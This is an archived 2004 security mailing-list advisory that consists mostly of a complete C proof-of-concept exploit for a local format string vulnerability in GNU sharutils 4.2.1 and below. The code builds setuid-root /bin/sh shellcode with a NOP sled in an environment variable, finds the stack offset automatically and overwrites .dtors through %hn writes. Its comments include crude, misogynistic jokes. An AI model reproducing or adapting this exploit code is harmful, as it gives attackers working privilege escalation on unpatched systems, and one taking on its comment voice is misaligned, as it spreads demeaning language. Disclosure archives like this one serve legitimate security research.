Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] Sharutils Format String Vulnerability

Subject: [EXPL] Sharutils Format String Vulnerability
Date: 25 Sep 2004 14:05:58 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Sharutils Format String Vulnerability
------------------------------------------------------------------------


SUMMARY

Below is an exploit code for a format string vulnerability found in the 
'shar' utility. The exploit was tested on Slackware 9.0 and the return 
address is calculated accordingly.

DETAILS

Vulnerable Systems:
 * Sharutils versions 4.2.1 and below.

Exploit Code:
/* GNU sharutils <= 4.2.1 Local Format String POC Code
   
   C0ded by n4rk0tix (a.k.a nrktx)      narkotix@linuxmail.org
   
   Below is a l4m3 proof of concept code for da recently reported lame 
bug;
   These binaryz have not only format bugz, but also buffer 
overflowz,etc.We also
   exploited the heap and the stack hole of theze binaryz.There are almost 
3 wayz of exploiting
   theze elfz ,both of them r fucking boring , though, so this one is.
   
   candy@labs:/$ readelf -r `which shar` | grep uid
   08050784  00000e07 R_386_JUMP_SLOT   08048d7c   getpwuid
   080507e0  00002807 R_386_JUMP_SLOT   08048eec   getuid
   candy@labs:/$
   
    exploiting non-suid binariez is like fucking 55 yearz old woman, like 
i did in this code :-]
    I'm again BACK from a long cisco trip, REGROUP TEAM, go go go... , 
need back up ! :]
   
    Also some greetingz signaled to: Efnet,gotcha(love from .*za :] 
),dm(my netmate from madagaskar),
         genjuro(my lord a.k.a Uz4yh4N),L4M3R(vurun la ipnelere 
ehuehu,kibriti caktim, tinerci alisti ehuehe),
         HELl0wEeN,darkhat,mathmonkey,mtrl(68000 guru),jawz,and the otherz 
whom i excluded them accidently :)
   
   For More Info , read the below ascii trash. Thanx                       
          _EOF_
*/
   
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>

#define _GNU_SOURCE
#define DEFAULT_DTORS_SHAR (0x08050738)       /*Tested on Slackware 9.0*/
#define DEFAULT_DTORS_UNSHAR (0x0804ad74)      /* This is not exploitable 
on every systemz */
#define DEFAULT_OFFSET_SHAR 22
#define DEFAULT_OFFSET_UNSHAR 262               /*lol, wtf stack layout do 
i have :],Probably useless..*/
#define SHAR_PATH "/usr/bin/shar"              /*Default $PATH change if 
needed*/
#define UNSHAR_PATH "/usr/bin/unshar"
#define GET_DTORS_CMD "objdump -h %s | grep .dtors | awk ' { print $4 } ' 
%s"
#define NOP 0x90

static int16_t WBIN = 2;

int main(void) {
        
int16_t check_bin(void);
u_int32_t get_dtors(int8_t* path);
int16_t get_auto_stack_offset(int8_t *binpath);
void banner(void);

int8_t envbuf[1000];
int8_t store_env[1010];
int8_t *shar_path = SHAR_PATH;
int8_t *unshar_path = UNSHAR_PATH;
static u_int8_t shellcode[] =  // setreuid(0,0)
        "\x31\xc0" // xor %eax,%eax
        "\x31\xdb" // xor %ebx,%ebx
        "\x31\xc9" // xor %ecx,%ecx
        "\xb0\x46" // mov $0x46,%al
        "\xcd\x80" // int $0x80
        
        // setgid(0)
        "\x31\xdb" // xor %ebx,%ebx
        "\x89\xd8" // mov %ebx,%eax
        "\xb0\x2e" // mov $0x2e,%al
        "\xcd\x80" // int $0x80
        
        // execve /bin/sh
        "\x31\xc0" // xor %eax,%eax
        "\x50" // push %eax
        "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
        "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
        "\x89\xe3" // mov %esp,%ebx
        "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
        "\x50" // push %eax
        "\x53" // push %ebx
        "\x8d\x0c\x24" // lea (%esp,1),%ecx
        "\xb0\x0b" // mov $0xb,%al
        "\xcd\x80" // int $0x80
 
        // exit();
        "\x31\xc0" // xor %eax,%eax
        "\xb0\x01" // mov $0x1,%al
        "\xcd\x80"; // int $0x80
 
     
banner();
if(!check_bin())
exit(EXIT_FAILURE);
 
memset(envbuf,NOP,sizeof(envbuf));
strcpy((int8_t *)&envbuf[sizeof(envbuf) - strlen(shellcode)],shellcode);
memcpy(store_env,"CANDY=",6);
strcat(store_env,envbuf);
putenv(store_env);
 if(!putenv) {
   if(errno == ENOMEM) {
   strerror(errno);
   exit(EXIT_FAILURE);
   }
 }
const int8_t *USEBIN;
int16_t USE_OFFSET;
        
if(WBIN == 1){
printf("[+]Exploiting the unshar binary\n");
USEBIN = unshar_path;
}
if(WBIN == 2){
printf("[+]Default binary is shar\n");
USEBIN = shar_path;
}
if(WBIN == 3) {
printf("[+]Exploiting Shar binary\n");
USEBIN = shar_path;
}
        
int8_t store[200];

u_int32_t fakebuf = 0xbffffffa - strlen(store_env) - 
strlen("/usr/bin/shar") + 50;
        
u_int32_t write_dtors = get_dtors((int8_t *)USEBIN);
int8_t *dtors_target[3] =
        
               { (int8_t *) write_dtors + 2,
                 (int8_t *) write_dtors,
                  NULL
               };
        
 
int16_t env_most,
         env_low;


env_most = (fakebuf & 0xffff0000) >> 16 ;
env_low  = (fakebuf & 0x0000ffff);


env_most -= 0x8;
USE_OFFSET = get_auto_stack_offset((int8_t *)USEBIN);
 
sprintf(store,"%s%%.%dx%%%d$hn%%.%dx%%%d$hn",
   
                &dtors_target,
                (u_int16_t)env_most,
                USE_OFFSET,
                (env_low - env_most) - 0x8,


                USE_OFFSET + 1);

fprintf(stdout,"[+]Type some command,sh$ prompt may not occur\n");
fprintf(stdout,"[+]Terminal echoing is possibly off \n");
fprintf(stdout,"Type any shell command Here i.e 'id' or 'ps aux'\n");
execlp(USEBIN,USEBIN,store);
fflush(stdin);
fflush(stdout);
return EXIT_SUCCESS; // useless, never return
}




int16_t check_bin(void) {
 
 int8_t *filename_shar = SHAR_PATH;
 int8_t *filename_unshar = UNSHAR_PATH;
 int16_t i = 2;
  if( access(filename_shar,F_OK) != 0){
   fprintf(stderr,"%s Not found, Checking 
%s\n",filename_shar,filename_unshar);
   i--;
   WBIN = 1;
   }

 if( access(filename_unshar,F_OK) != 0) {
  fprintf(stderr,"%s Not found\n",filename_unshar);
   i--;
   WBIN = (WBIN == 1) ? 0 : 3;
   }
 if(!i) {
   fprintf(stderr,"Sorry dude, no binary available for exploiting.\n");
   exit(EXIT_FAILURE);
   }
 fputs("[+]Binary checking passed\n",stdout);
 return(i);
}

u_int32_t get_dtors(int8_t* path) {
 
 FILE *readit;
 int *tmpfile;
 int8_t tmpfull[32];
 char *store_dtors;
 
 int16_t status;
 int16_t length;
 
 ssize_t read;
 u_int32_t findme;
 int8_t *dtorsbuf = NULL;
 bzero((int8_t *)tmpfull,sizeof(tmpfull));
 
 strncpy(tmpfull,"/tmp/candyXXXXXX",strlen("/tmp/candyXXXXXX"));
 tmpfile = (int *)mkstemp((int8_t *)tmpfull);
 int8_t *buffer = (int8_t *) malloc(100 * sizeof(int8_t *));
 if(!malloc) { err(1,"malloc"); exit(EXIT_FAILURE); }
 
 bzero(buffer,sizeof(buffer));
 snprintf(buffer,100,GET_DTORS_CMD,path,tmpfull);
 buffer[strlen(buffer)] = '\0';
 
 int8_t *shar_path = SHAR_PATH;
 status = system(buffer);
 

 switch((status >> 8 ) & 0xff)  {
          
          case 0:
          fprintf(stdout,"[+]Utilities check successful, no Need 
Defaults\n");
          break;
          
          case !0:
          fprintf(stdout,"[+]Using default .Dtors address\n");
          findme = (path == shar_path) ? DEFAULT_DTORS_SHAR  : 
DEFAULT_DTORS_UNSHAR;
          goto GO_ON;
          
          default:
          fprintf(stdout,"[+]Using default .Dtors address\n");
          fprintf(stdout,"[+]Dtors address => 0x%x\n",DEFAULT_DTORS_SHAR 
);
          findme = (path == shar_path) ? DEFAULT_DTORS_SHAR : 
DEFAULT_DTORS_UNSHAR;
          goto GO_ON;
   }
    
 
       
       if ( (readit = fopen(tmpfull,"rb")) == NULL ) {
          strerror(errno);
          fprintf(stdout,"[+]Using default .Dtors address\n");
          findme = (path == shar_path) ? DEFAULT_DTORS_SHAR : 
DEFAULT_DTORS_UNSHAR;
          goto GO_ON;
          }
          read = getline(&dtorsbuf,&length,readit);
       
     fflush(readit);
     dtorsbuf[strlen(dtorsbuf) -1 ] = '\0';
     findme = strtoul(dtorsbuf,&store_dtors,16);
     
     fclose(readit);
     free(dtorsbuf);
     unlink(tmpfull);
     fprintf(stdout,"[+]Dtors address found => 0x%x\n",findme + 0x4);
GO_ON:
     unlink(tmpfull); /* For System Crashes */
     return(findme + 4);
}
 

int16_t get_auto_stack_offset(int8_t *binpath) {

 int8_t *path = "/tmp/candy";
 int8_t *buffer = (int8_t *)malloc(300*sizeof(int8_t));
 int8_t *shar_path = SHAR_PATH;
 
 FILE *fd;
 static int8_t formatbuf[100];
 const u_int8_t *end_the_format = "41414141";
 
 int8_t *format_string = "%x";
 int8_t progpath[40];
 
 bzero(progpath,sizeof(progpath));
 sprintf(progpath,"%s AAAA",binpath);
 progpath[strlen(progpath)] = '\0';
 
 static int16_t control = 1;
 static int16_t offset = 1;
     if ((fd = fopen(path,"wb")) == NULL) {
     perror("fopen");
     exit(1);
    }
 if(control != 1)
 goto FIRSTJUMP;

 fflush(stderr);
 dup2(fileno(fd),2);
 
 bzero(formatbuf,sizeof(formatbuf));
 strncpy(formatbuf,progpath,strlen(progpath));
  
LOOP:
    if ((fd = fopen(path,"wb")) == NULL) {
      perror("fopen");
      exit(1);
      }
 fflush(stderr);
 dup2(fileno(fd),2);

FIRSTJUMP:
 
 control++;
 strcat(formatbuf,format_string);
 
 system(formatbuf);
 fclose(fd);
 usleep(9999);
 
 fd = fopen(path,"rb");
 if(fd == NULL){
 perror("open");
 fprintf(stdout,"[+]Using default Stack Offset \n");
 offset = (binpath == shar_path) ? DEFAULT_OFFSET_SHAR : 
DEFAULT_OFFSET_UNSHAR;
 goto JUMP;
 }
    
   if(fgets(buffer,300,fd) != NULL){

     if( strstr(buffer,end_the_format) == NULL) {
     free(buffer);
     fclose(fd);
     offset++;
     goto LOOP;
     }
     
 free(buffer);
 fclose(fd);
 unlink(path);
}
 fprintf(stdout,"[+]Using Stack Offset %d\n",offset);
 JUMP:
 return(offset);
 }

void banner(void) {
fputs("\tGNU SharUtils <= 4.2.1 Local Format String Exploit\n"
      "\tnarkotix@linuxmail.org\n",stdout);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:narkotix@linuxmail.org> 
n4rk0tix.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] Sharutils Format String Vulnerability, SecuriTeam <=